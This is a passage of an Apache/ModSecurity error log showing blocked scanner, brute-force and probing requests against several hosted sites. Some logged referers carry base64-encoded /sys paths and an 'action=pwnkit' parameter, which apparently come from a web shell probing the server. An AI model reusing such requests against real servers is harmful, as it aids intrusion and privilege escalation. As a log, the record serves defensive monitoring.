57.141.14.61:52786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:37.811040 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.61:52786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:38.075570 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.77:58019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:38.075858 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.77:58019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:38.144239 2026] [security2:error] [pid 715691:tid 715762] [remote 17.241.219.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30irV-dFiaX9AtWiQmIQABDzM"] [Sat Jun 13 18:23:38.267931 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2UvcG93ZXI= [Sat Jun 13 18:23:38.268300 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2UvcG93ZXI= [Sat Jun 13 18:23:38.393240 2026] [security2:error] [pid 715691:tid 715828] [remote 17.22.237.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30irV-dFiaX9AtWiQmKwABUnU"] [Sat Jun 13 18:23:38.596861 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.15:61537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:38.597137 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.15:61537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:38.677468 2026] [security2:error] [pid 715691:tid 715771] [remote 17.246.23.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30irV-dFiaX9AtWiQmNAABLjw"] [Sat Jun 13 18:23:38.742627 2026] [security2:error] [pid 715691:tid 715726] [remote 17.246.19.6:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30irV-dFiaX9AtWiQmNgABahA"] [Sat Jun 13 18:23:38.833499 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:23:38.833796 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:23:38.960634 2026] [security2:error] [pid 646876:tid 646907] [remote 17.22.245.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ityTkdrNlD40tSHTrQAAbBw"] [Sat Jun 13 18:23:39.044487 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.8:59559] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:39.044799 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.8:59559] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:39.123621 2026] [security2:error] [pid 715691:tid 715738] [remote 17.241.227.55:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 55.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30i7V-dFiaX9AtWiQmQgABNBw"] [Sat Jun 13 18:23:39.136528 2026] [access_compat:error] [pid 646876:tid 646939] [remote 57.141.14.13:55921] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:39.136824 2026] [access_compat:error] [pid 646876:tid 646939] [remote 57.141.14.13:55921] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:39.155146 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.80:54281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:39.155596 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.80:54281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:39.224459 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.89:59170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:39.224789 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.89:59170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:39.314562 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:23:39.314866 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:23:39.606094 2026] [security2:error] [pid 715691:tid 715783] [remote 17.246.19.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30i7V-dFiaX9AtWiQmUgABaUg"] [Sat Jun 13 18:23:39.688847 2026] [security2:error] [pid 715691:tid 715827] [remote 157.90.174.226:36862] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yassbc-org.yourkatana.com"] [uri "/wp-login.php"] [unique_id "ai30i7V-dFiaX9AtWiQmVAABY3Q"] [Sat Jun 13 18:23:39.767680 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.49:38305] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:39.768104 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.49:38305] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:39.866131 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:23:39.866580 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:23:39.889363 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.36:30560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:39.889829 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.36:30560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:40.045936 2026] [security2:error] [pid 715691:tid 715821] [remote 209.87.149.26:30769] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cgreenphotography.com"] [uri "/wp-login.php"] [unique_id "ai30jLV-dFiaX9AtWiQmagABcm4"] [Sat Jun 13 18:23:40.081276 2026] [access_compat:error] [pid 715691:tid 715836] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:40.081697 2026] [access_compat:error] [pid 715691:tid 715836] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:40.154431 2026] [security2:error] [pid 715691:tid 715922] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_sunset_variation2.phpt"] [unique_id "ai30jLV-dFiaX9AtWiQmbwAAAVs"] [Sat Jun 13 18:23:40.168058 2026] [access_compat:error] [pid 715691:tid 715805] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=pwnkit&p=Ly9zeXMvbW9kdWxlL3hlbg%3D%3D [Sat Jun 13 18:23:40.168451 2026] [access_compat:error] [pid 715691:tid 715805] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=pwnkit&p=Ly9zeXMvbW9kdWxlL3hlbg%3D%3D [Sat Jun 13 18:23:40.241939 2026] [security2:error] [pid 715691:tid 715807] [remote 209.87.149.26:30769] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cgreenphotography.com"] [uri "/wp-login.php"] [unique_id "ai30jLV-dFiaX9AtWiQmdAABDmA"], referer: https://cgreenphotography.com/wp-login.php [Sat Jun 13 18:23:40.420004 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:23:40.420308 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:23:40.436616 2026] [security2:error] [pid 715691:tid 715752] [remote 17.22.253.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jLV-dFiaX9AtWiQmeQABaCo"] [Sat Jun 13 18:23:40.492014 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.14:54102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:40.492461 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.14:54102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:40.964031 2026] [security2:error] [pid 646876:tid 646896] [remote 217.160.212.27:60056] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.212.160.217.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai30jNyTkdrNlD40tSHT1wAAGxE"], referer: https://lotusfengshui.co.uk/wp-login.php [Sat Jun 13 18:23:40.967446 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:23:40.967910 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:23:41.088166 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.62:23476] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:41.088603 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.62:23476] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:41.102299 2026] [access_compat:error] [pid 715691:tid 715746] [remote 57.141.14.106:46909] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:41.102554 2026] [access_compat:error] [pid 715691:tid 715746] [remote 57.141.14.106:46909] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:41.168909 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.9:33614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:41.169194 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.9:33614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:41.250370 2026] [security2:error] [pid 715691:tid 715727] [remote 17.241.227.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30jbV-dFiaX9AtWiQmmgABFxE"] [Sat Jun 13 18:23:41.491379 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:23:41.491644 2026] 